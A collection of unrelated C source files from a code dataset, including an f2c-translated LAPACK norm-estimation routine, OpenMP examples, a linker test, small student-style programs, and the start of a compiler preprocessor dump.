endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimag(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static integer c__1 = 1; /* > \brief \b CLACN2 estimates the 1-norm of a square matrix, using reverse communication for evaluating matr ix-vector products. */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download CLACN2 + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/clacn2. f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/clacn2. f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/clacn2. f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE CLACN2( N, V, X, EST, KASE, ISAVE ) */ /* INTEGER KASE, N */ /* REAL EST */ /* INTEGER ISAVE( 3 ) */ /* COMPLEX V( * ), X( * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > CLACN2 estimates the 1-norm of a square, complex matrix A. */ /* > Reverse communication is used for evaluating matrix-vector products. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The order of the matrix. N >= 1. */ /* > \endverbatim */ /* > */ /* > \param[out] V */ /* > \verbatim */ /* > V is COMPLEX array, dimension (N) */ /* > On the final return, V = A*W, where EST = norm(V)/norm(W) */ /* > (W is not returned). */ /* > \endverbatim */ /* > */ /* > \param[in,out] X */ /* > \verbatim */ /* > X is COMPLEX array, dimension (N) */ /* > On an intermediate return, X should be overwritten by */ /* > A * X, if KASE=1, */ /* > A**H * X, if KASE=2, */ /* > where A**H is the conjugate transpose of A, and CLACN2 must be */ /* > re-called with all the other parameters unchanged. */ /* > \endverbatim */ /* > */ /* > \param[in,out] EST */ /* > \verbatim */ /* > EST is REAL */ /* > On entry with KASE = 1 or 2 and ISAVE(1) = 3, EST should be */ /* > unchanged from the previous call to CLACN2. */ /* > On exit, EST is an estimate (a lower bound) for norm(A). */ /* > \endverbatim */ /* > */ /* > \param[in,out] KASE */ /* > \verbatim */ /* > KASE is INTEGER */ /* > On the initial call to CLACN2, KASE should be 0. */ /* > On an intermediate return, KASE will be 1 or 2, indicating */ /* > whether X should be overwritten by A * X or A**H * X. */ /* > On the final return from CLACN2, KASE will again be 0. */ /* > \endverbatim */ /* > */ /* > \param[in,out] ISAVE */ /* > \verbatim */ /* > ISAVE is INTEGER array, dimension (3) */ /* > ISAVE is used to save variables between calls to SLACN2 */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup complexOTHERauxiliary */ /* > \par Further Details: */ /* ===================== */ /* > */ /* > \verbatim */ /* > */ /* > Originally named CONEST, dated March 16, 1988. */ /* > */ /* > Last modified: April, 1999 */ /* > */ /* > This is a thread safe version of CLACON, which uses the array ISAVE */ /* > in place of a SAVE statement, as follows: */ /* > */ /* > CLACON CLACN2 */ /* > JUMP ISAVE(1) */ /* > J ISAVE(2) */ /* > ITER ISAVE(3) */ /* > \endverbatim */ /* > \par Contributors: */ /* ================== */ /* > */ /* > Nick Higham, University of Manchester */ /* > \par References: */ /* ================ */ /* > */ /* > N.J. Higham, "FORTRAN codes for estimating the one-norm of */ /* > a real or complex matrix, with applications to condition estimation", */ /* > ACM Trans. Math. Soft., vol. 14, no. 4, pp. 381-396, December 1988. */ /* > */ /* ===================================================================== */ /* Subroutine */ int clacn2_(integer *n, complex *v, complex *x, real *est, integer *kase, integer *isave) { /* System generated locals */ integer i__1, i__2, i__3; real r__1, r__2; complex q__1; /* Local variables */ real temp; integer i__; real absxi; integer jlast; extern /* Subroutine */ int ccopy_(integer *, complex *, integer *, complex *, integer *); extern integer icmax1_(integer *, complex *, integer *); extern real scsum1_(integer *, complex *, integer *), slamch_(char *); real safmin, altsgn, estold; /* -- LAPACK auxiliary routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Parameter adjustments */ --isave; --x; --v; /* Function Body */ safmin = slamch_("Safe minimum"); if (*kase == 0) { i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__; r__1 = 1.f / (real) (*n); q__1.r = r__1, q__1.i = 0.f; x[i__2].r = q__1.r, x[i__2].i = q__1.i; /* L10: */ } *kase = 1; isave[1] = 1; return 0; } switch (isave[1]) { case 1: goto L20; case 2: goto L40; case 3: goto L70; case 4: goto L90; case 5: goto L120; } /* ................ ENTRY (ISAVE( 1 ) = 1) */ /* FIRST ITERATION. X HAS BEEN OVERWRITTEN BY A*X. */ L20: if (*n == 1) { v[1].r = x[1].r, v[1].i = x[1].i; *est = c_abs(&v[1]); /* ... QUIT */ goto L130; } *est = scsum1_(n, &x[1], &c__1); i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { absxi = c_abs(&x[i__]); if (absxi > safmin) { i__2 = i__; i__3 = i__; r__1 = x[i__3].r / absxi; r__2 = r_imag(&x[i__]) / absxi; q__1.r = r__1, q__1.i = r__2; x[i__2].r = q__1.r, x[i__2].i = q__1.i; } else { i__2 = i__; x[i__2].r = 1.f, x[i__2].i = 0.f; } /* L30: */ } *kase = 2; isave[1] = 2; return 0; /* ................ ENTRY (ISAVE( 1 ) = 2) */ /* FIRST ITERATION. X HAS BEEN OVERWRITTEN BY CTRANS(A)*X. */ L40: isave[2] = icmax1_(n, &x[1], &c__1); isave[3] = 2; /* MAIN LOOP - ITERATIONS 2,3,...,ITMAX. */ L50: i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__; x[i__2].r = 0.f, x[i__2].i = 0.f; /* L60: */ } i__1 = isave[2]; x[i__1].r = 1.f, x[i__1].i = 0.f; *kase = 1; isave[1] = 3; return 0; /* ................ ENTRY (ISAVE( 1 ) = 3) */ /* X HAS BEEN OVERWRITTEN BY A*X. */ L70: ccopy_(n, &x[1], &c__1, &v[1], &c__1); estold = *est; *est = scsum1_(n, &v[1], &c__1); /* TEST FOR CYCLING. */ if (*est <= estold) { goto L100; } i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { absxi = c_abs(&x[i__]); if (absxi > safmin) { i__2 = i__; i__3 = i__; r__1 = x[i__3].r / absxi; r__2 = r_imag(&x[i__]) / absxi; q__1.r = r__1, q__1.i = r__2; x[i__2].r = q__1.r, x[i__2].i = q__1.i; } else { i__2 = i__; x[i__2].r = 1.f, x[i__2].i = 0.f; } /* L80: */ } *kase = 2; isave[1] = 4; return 0; /* ................ ENTRY (ISAVE( 1 ) = 4) */ /* X HAS BEEN OVERWRITTEN BY CTRANS(A)*X. */ L90: jlast = isave[2]; isave[2] = icmax1_(n, &x[1], &c__1); if (c_abs(&x[jlast]) != c_abs(&x[isave[2]]) && isave[3] < 5) { ++isave[3]; goto L50; } /* ITERATION COMPLETE. FINAL STAGE. */ L100: altsgn = 1.f; i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__; r__1 = altsgn * ((real) (i__ - 1) / (real) (*n - 1) + 1.f); q__1.r = r__1, q__1.i = 0.f; x[i__2].r = q__1.r, x[i__2].i = q__1.i; altsgn = -altsgn; /* L110: */ } *kase = 1; isave[1] = 5; return 0; /* ................ ENTRY (ISAVE( 1 ) = 5) */ /* X HAS BEEN OVERWRITTEN BY A*X. */ L120: temp = scsum1_(n, &x[1], &c__1) / (real) (*n * 3) * 2.f; if (temp > *est) { ccopy_(n, &x[1], &c__1, &v[1], &c__1); *est = temp; } L130: *kase = 0; return 0; /* End of CLACN2 */ } /* clacn2_ */
the_stack_data/32950661.c
#if defined _WIN32 || defined __CYGWIN__ #define DLL_PUBLIC __declspec(dllexport) #else #if defined __GNUC__ #define DLL_PUBLIC __attribute__ ((visibility("default"))) #else #pragma message ("Compiler does not support symbol visibility.") #define DLL_PUBLIC #endif #endif int DLL_PUBLIC lib3fun() { return 0; }
the_stack_data/31623.c
/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Two-dimensional array computation: collapse(2) is used to associate two loops with omp for. The corresponding loop iteration variables are private. */ #include <stdio.h> int a[100][100]; int main() { int i,j; #pragma omp parallel for for (i=0;i<100;i++) #pragma omp parallel for for (j=0;j<100;j++) a[i][j] = i; #pragma omp parallel for collapse(2) for (i=0;i<100;i++) for (j=0;j<100;j++) a[i][j]=a[i][j]+1; for (i=0;i<100;i++) for (j=0;j<100;j++) printf("%d\n", a[i][j]); return 0; }
the_stack_data/16165.c
// gc_dynamic_list_test.cc -- Check that --gc-sections honors --dynamic-list. // Copyright (C) 2014-2021 Free Software Foundation, Inc. // Written by Cary Coutant <[email protected]>. // This file is part of gold. // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, // MA 02110-1301, USA. // The goal of this program is to verify that the symbol "keep" is not // garbage-collected when it is named in a --dynamic-list script. extern void keep(void); void keep(void) {} int main(void) { return 0; }
the_stack_data/1180243.c
#include <stdio.h> typedef struct{ char nome[80]; int code; float salario; char cargo[30]; }Funcionario; void exibe(Funcionario f[20]){ int i; printf("\n************************\nFuncionarios da empresa:\n************************\n"); for(i=0;i<20;i++){ printf("\nCodigo: %d\n",f[i].code); printf("Nome: %s", f[i].nome); printf("Salario: %.1f\n", f[i].salario); printf("Cargo: %s", f[i].cargo); } } int main(){ int i; Funcionario f[20]; for(i=0;i<20;i++){ printf("Digite o codigo do funcionario: "); scanf("%d%*c", &f[i].code); getchar(); printf("Digite o nome: "); fgets(f[i].nome,80,stdin); printf("Digite o salario: "); scanf("%f%*c",&f[i].salario); getchar(); printf("Digite o cargo: "); fgets(f[i].cargo,30,stdin); printf("\n"); } exibe(f); }
the_stack_data/139392.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> int isplaceok(size_t *a, size_t n, size_t c) { for (size_t i = 0; i < n; i++) { int d = a[i]; if ( (d == c) || (d - i == c - n) || (d + i == c + n) ){ return 0; } } return 1; } void printsolution(size_t N, size_t *a) { for (size_t i = 0; i < N; i++) { for (size_t j = 0; j < N; j++) { if (a[i] == j) { putchar('X'); } else { putchar('-'); } putchar(' '); } putchar('\n'); } putchar('\n'); } void addqueen(size_t N, size_t *a, size_t n) { if (n >= N) { printsolution(N, a); } else { for (size_t c = 0; c < N; c++) { if (isplaceok(a, n, c)) { a[n] = c; addqueen(N, a, n+1); } } } } void nqueens(size_t N) { size_t *a = malloc(N * sizeof(size_t)); addqueen(N, a, 0); free(a); } int main(int argc, char **argv) { size_t N = 13; if (argc > 1) { int nread = sscanf(argv[1], "%zu", &N); if (nread != 1) return 1; } // nqueens(13); return 0; }
the_stack_data/247018714.c
/* * main.c * * Created on: Mar 31, 2020 * Author: nemus */ #include <stdio.h> int main(void) { int start = 0; int end = 0; int even_counter = 0; printf("\nPlease enter start number: "); scanf(" %d", &start); printf("\nPlease enter end number: "); scanf(" %d", &end); printf("\nEven numbers in range from %d to %d:", start, end); if(start < end) { while(start <= end) { if(start % 2 == 0) { printf("\n %d", start); even_counter++; } start++; } } else if(start > end) { while(start >= end) { if(start % 2 == 0) { printf("\n %d", start); even_counter++; } start--; } } else { printf("\nStart and End have same value! Please try again!"); } printf("\nThere is %d even numbers printed!", even_counter); return 0; }
the_stack_data/154831937.c
#include <stdio.h> #include <string.h> #include <sys/ipc.h> #include <sys/shm.h> int main() { int shm; char* ptr; shm = shmget(IPC_PRIVATE, 128, IPC_CREAT | 0600); if (shm < 0) { perror("shmget"); return 1; } ptr = shmat(shm, NULL, 0); if ((int)ptr == -1) { perror("shmat"); return 1; } strcpy(ptr, "HOGE"); shmdt(ptr); return 0; }
the_stack_data/234517281.c
#include<stdio.h> int main(){ int sum = 1; int i =1; // increase sum by one each iteratiob using openmp #pragma omp parallel for firstprivate(i) reduction( + : sum ) for (int j = i; j < 100; j++) { sum +=1; } printf("sum is %d\n",sum); }
the_stack_data/73576076.c
# 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" # 1 "/home/jenkins/workspace/RUI_Release/rui-v3//" # 1 "<built-in>" #define __STDC__ 1 #define __STDC_VERSION__ 199901L #define __STDC_HOSTED__ 1 #define __GNUC__ 10 #define __GNUC_MINOR__ 2 #define __GNUC_PATCHLEVEL__ 1 #define __VERSION__ "10.2.1 20201103 (release)" #define __ATOMIC_RELAXED 0 #define __ATOMIC_SEQ_CST 5 #define __ATOMIC_ACQUIRE 2 #define __ATOMIC_RELEASE 3 #define __ATOMIC_ACQ_REL 4 #define __ATOMIC_CONSUME 1 #define __OPTIMIZE_SIZE__ 1 #define __OPTIMIZE__ 1 #define __FINITE_MATH_ONLY__ 0 #define __SIZEOF_INT__ 4 #define __SIZEOF_LONG__ 4 #define __SIZEOF_LONG_LONG__ 8 #define __SIZEOF_SHORT__ 2 #define __SIZEOF_FLOAT__ 4 #define __SIZEOF_DOUBLE__ 8 #define __SIZEOF_LONG_DOUBLE__ 8 #define __SIZEOF_SIZE_T__ 4 #define __CHAR_BIT__ 8 #define __BIGGEST_ALIGNMENT__ 8 #define __ORDER_LITTLE_ENDIAN__ 1234 #define __ORDER_BIG_ENDIAN__ 4321 #define __ORDER_PDP_ENDIAN__ 3412 #define __BYTE_ORDER__ __ORDER_LITTLE_ENDIAN__ #define __FLOAT_WORD_ORDER__ __ORDER_LITTLE_ENDIAN__ #define __SIZEOF_POINTER__ 4 #define __SIZE_TYPE__ unsigned int #define __PTRDIFF_TYPE__ int #define __WCHAR_TYPE__ unsigned int #define __WINT_TYPE__ unsigned int #define __INTMAX_TYPE__ long long int #define __UINTMAX_TYPE__ long long unsigned int #define __CHAR16_TYPE__ short unsigned int #define __CHAR32_TYPE__ long unsigned int #define __SIG_ATOMIC_TYPE__ int #define __INT8_TYPE__ signed char #define __INT16_TYPE__ short int #define __INT32_TYPE__ long int #define __INT64_TYPE__ long long int #define __UINT8_TYPE__ unsigned char #define __UINT16_TYPE__ short unsigned int #define __UINT32_TYPE__ long unsigned int #define __UINT64_TYPE__ long long unsigned int #define __INT_LEAST8_TYPE__ signed char #define __INT_LEAST16_TYPE__ short int #define __INT_LEAST32_TYPE__ long int #define __INT_LEAST64_TYPE__ long long int #define __UINT_LEAST8_TYPE__ unsigned char #define __UINT_LEAST16_TYPE__ short unsigned int #define __UINT_LEAST32_TYPE__ long unsigned int #define __UINT_LEAST64_TYPE__ long long unsigned int #define __INT_FAST8_TYPE__ int #define __INT_FAST16_TYPE__ int #define __INT_FAST32_TYPE__ int #define __INT_FAST64_TYPE__ long long int #define __UINT_FAST8_TYPE__ unsigned int #define __UINT_FAST16_TYPE__ unsigned int #define __UINT_FAST32_TYPE__ unsigned int #define __UINT_FAST64_TYPE__ long long unsigned int #define __INTPTR_TYPE__ int #define __UINTPTR_TYPE__ unsigned int #define __GXX_ABI_VERSION 1014 #define __SCHAR_MAX__ 0x7f #define __SHRT_MAX__ 0x7fff #define __INT_MAX__ 0x7fffffff #define __LONG_MAX__ 0x7fffffffL #define __LONG_LONG_MAX__ 0x7fffffffffffffffLL #define __WCHAR_MAX__ 0xffffffffU #define __WCHAR_MIN__ 0U #define __WINT_MAX__ 0xffffffffU #define __WINT_MIN__ 0U #define __PTRDIFF_MAX__ 0x7fffffff #define __SIZE_MAX__ 0xffffffffU #define __SCHAR_WIDTH__ 8 #define __SHRT_WIDTH__ 16 #define __INT_WIDTH__ 32 #define __LONG_WIDTH__ 32 #define __LONG_LONG_WIDTH__ 64 #define __WCHAR_WIDTH__ 32 #define __WINT_WIDTH__ 32 #define __PTRDIFF_WIDTH__ 32 #define __SIZE_WIDTH__ 32 #define __INTMAX_MAX__ 0x7fffffffffffffffLL #define __INTMAX_C(c) c ## LL #define __UINTMAX_MAX__ 0xffffffffffffffffULL #define __UINTMAX_C(c) c ## ULL #define __INTMAX_WIDTH__ 64 #define __SIG_ATOMIC_MAX__ 0x7fffffff #define __SIG_ATOMIC_MIN__ (-__SIG_ATOMIC_MAX__ - 1) #define __SIG_ATOMIC_WIDTH__ 32 #define __INT8_MAX__ 0x7f #define __INT16_MAX__ 0x7fff #define __INT32_MAX__ 0x7fffffffL #define __INT64_MAX__ 0x7fffffffffffffffLL #define __UINT8_MAX__ 0xff #define __UINT16_MAX__ 0xffff #define __UINT32_MAX__ 0xffffffffUL #define __UINT64_MAX__ 0xffffffffffffffffULL #define __INT_LEAST8_MAX__ 0x7f #define __INT8_C(c) c #define __INT_LEAST8_WIDTH__ 8 #define __INT_LEAST16_MAX__ 0x7fff #define __INT16_C(c) c #define __INT_LEAST16_WIDTH__ 16 #define __INT_LEAST32_MAX__ 0x7fffffffL #define __INT32_C(c) c ## L #define __INT_LEAST32_WIDTH__ 32 #define __INT_LEAST64_MAX__ 0x7fffffffffffffffLL #define __INT64_C(c) c ## LL #define __INT_LEAST64_WIDTH__ 64 #define __UINT_LEAST8_MAX__ 0xff #define __UINT8_C(c) c #define __UINT_LEAST16_MAX__ 0xffff #define __UINT16_C(c) c #define __UINT_LEAST32_MAX__ 0xffffffffUL #define __UINT32_C(c) c ## UL #define __UINT_LEAST64_MAX__ 0xffffffffffffffffULL #define __UINT64_C(c) c ## ULL #define __INT_FAST8_MAX__ 0x7fffffff #define __INT_FAST8_WIDTH__ 32 #define __INT_FAST16_MAX__ 0x7fffffff #define __INT_FAST16_WIDTH__ 32 #define __INT_FAST32_MAX__ 0x7fffffff #define __INT_FAST32_WIDTH__ 32 #define __INT_FAST64_MAX__ 0x7fffffffffffffffLL #define __INT_FAST64_WIDTH__ 64 #define __UINT_FAST8_MAX__ 0xffffffffU 